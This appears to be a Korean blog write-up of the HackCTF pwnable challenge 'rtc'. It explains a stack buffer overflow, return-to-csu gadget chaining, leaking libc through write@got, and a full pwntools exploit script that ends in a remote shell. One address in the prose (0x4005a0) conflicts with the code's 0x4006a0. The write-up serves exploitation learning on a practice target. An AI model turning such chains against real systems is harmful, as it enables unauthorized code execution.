tmxklab
[HackCTF/Pwnable] rtc 본문
해당 문제는 RTC(Return To Csu)기법에 관한 문제이다.
1. 문제
nc ctf.j0n9hyun.xyz 3025
1) mitigation 확인
2) 문제 확인
- 입력을 한 번 받고 끝난다.
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-40h]
setvbuf(stdin, 0LL, 2, 0LL);
write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
return read(0, &buf, 0x200uLL);
}
- read(0, &buf, 0x200)에서 bof발생
2. 접근방법
일단 bof취약점이 발생해서 ret값을 변경할 수 있다.
rtc라고 주어져 있어서 rtc를 이용하여 문제 접근을 하려고 하였으나 혹시나 하는 마음에 rop가 가능한지 시도해보았다.
- 근데 rdi, rsi, rdx를 pop하는 가젯이 보이질 않는다.
- 해당 가젯을 찾는 이유는 read함수를 이용하여 "/bin/sh"문자열을 저장하기 위해서다.
따라서, Gadget의 제한때문에 발생하는 문제를 해결할 수 있는 기법이 RTC(Return to csu)이다.
(RTC기법에 대한 내용은 나중에 따로 정리하도록 하겠다.)
해당 바이너리 파일에 먼저 __libc_csu_init()를 확인하였다.
- stage 1로 사용할 부분은 loc_4006b6의 pop rbx부터이다.
- stage 2로 사용할 부분은 loc_4006a0의 mov rdx, r13부터이다.
- stage 1 address : 0x4006ba
- stage 2 address : 0x4005a0
공격 프로세스)
- read()를 통해 bss영역에 "/bin/sh"문자열을 저장한다.
- 파라미터로 read@got를 주고 write()를 호출하여 read()의 실제 주소 값을 leak하고 leak한 결과를 토대로 libc base주소를 구하여 system()주소를 구한다.
- 다시 main함수로 돌아와 rtl을 수행한다.
위 공격 프로세스에서 read()와 write()를 차례로 호출할 때 RTC Chaining을 사용한다.
3. 풀이
1) "/bin/sh"문자열 저장할 곳 찾기
- 0x601060을 사용하자
2) read()를 통해 bss영역에 "/bin/sh"문자열 저장하기
main함수에서 return 주소를 위에서 봤던 stage 1 주소 값을 넣는다.
stage 1에서 pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop 14 ; pop r15을 수행하면서 각 레지스터에 스택에 있는 값들이 세팅되는데 다음과 같이 레지스터에 값이 들어가도록 구성하자
- rbx : 0
- rbp : 1 ←요거는 rtc chaining할 때 필요
- r12 : read@got
- r13 : len("/bin/sh")
- r14 : bss address(0x601060)
- r15 : 0
이후에 stage 1에서 ret부분에 stage 2 주소 값을 넣는다.
stage 2에서 mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call [r12+rbx*8] 을 수행하면서 rdx, rsi, rdi값이 세팅되고 r12를 call하게 된다.(이 때, rbx값은 0이므로)
따라서, stage 1에서 각 레지스터를 세팅하게 되면 "/bin/sh"문자열 크기만큼 bss영역에 입력을 받을 수 있게 된다.
페이로드 :
[ dummy(0x48bytes) ] + [ stage 1 ] + [ 0 ] + [ 1 ] +[ read@got ] + [ len(binsh) ] + [ bss(0x601060) ] + [ 0 ] + [ stage 2 ]
<< stage 1 실행 >>
<< stage 2 실행 >>
3) write()를 통해 read()주소 leak
read@got값을 출력하면 실제 주소 값을 leak할 수 있으므로 write(1, read@got, len(read@got))와 같이 구성되도록 페이로드를 작성하자
페이로드 :
[ 0 ] + [ 0 ] + [ 1 ] + [ write@got ] + [ len(read@got) ] + [ read@got ] + [ 1 ] + [ stage 2 ]
페이로드 맨 앞에 0을 한 번더 쓰는 이유 :
위에서 bss영역에 문자열을 넣을 때 rbp에 0으로 설정하면서 RTC Chaining을 수행할 수 있게 되는데
- read() call이후에 rbx값과 rbp값을 비교하고 이후에 rsp에 0x8만큼 더함
따라서, 맨 앞에 0을 안주고(0말고 다른 dummy(8bytes)값 상관없음) 페이로드를 구성할 시 스택에서 한 칸씩 밀리게 된다.
- 한 칸씩 밀리게됨
4) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./rtc")
p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("/home/cmc/Desktop/lib_hack/rtc/libc.so.6")
#gdb.attach(p)
main_addr = e.symbols['main']
read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
write_got = e.got['write']
bss_addr = 0x601060
init_stage1 = 0x4006ba
init_stage2 = 0x4006a0
binsh = "/bin/sh\x00"
pr_addr = 0x4006c3
log.info("read@plt : "+hex(read_plt))
log.info("read@got : "+hex(read_got))
log.info("read offset : "+hex(read_offset))
log.info("system offset : "+hex(system_offset))
# 1. Input "/bin/sh" (bss address)
payload = "A"*0x48
payload += p64(init_stage1)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(len(binsh))
payload += p64(bss_addr)
payload += p64(0)
payload += p64(init_stage2)
# 2. Leak read() address
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(10)
payload += p64(read_got)
payload += p64(1)
payload += p64(init_stage2)
# 3. return to main
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(main_addr)
p.sendafter("\n", payload)
sleep(0.1)
p.send(binsh)
sleep(0.1)
read_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = read_addr - read_offset
system_addr = libc_base + system_offset
log.info("libc base : "+hex(libc_base))
log.info("system addr : "+hex(system_addr))
# 4. return to system
payload = "A"*0x48
payload += p64(pr_addr)
payload += p64(bss_addr)
payload += p64(system_addr)
p.sendafter("\n", payload)
p.interactive()
5) 실행결과
4. 몰랐던 개념
참고 사이트 :
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] World Best Encryption Tool (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] register (0) | 2020.08.15 |
[HackCTF/Pwnable] sysrop (0) | 2020.08.06 |
[HackCTF/Pwnable] Unexploitable #1 (0) | 2020.08.06 |
[HackCTF/Pwnable] ROP (0) | 2020.07.20 |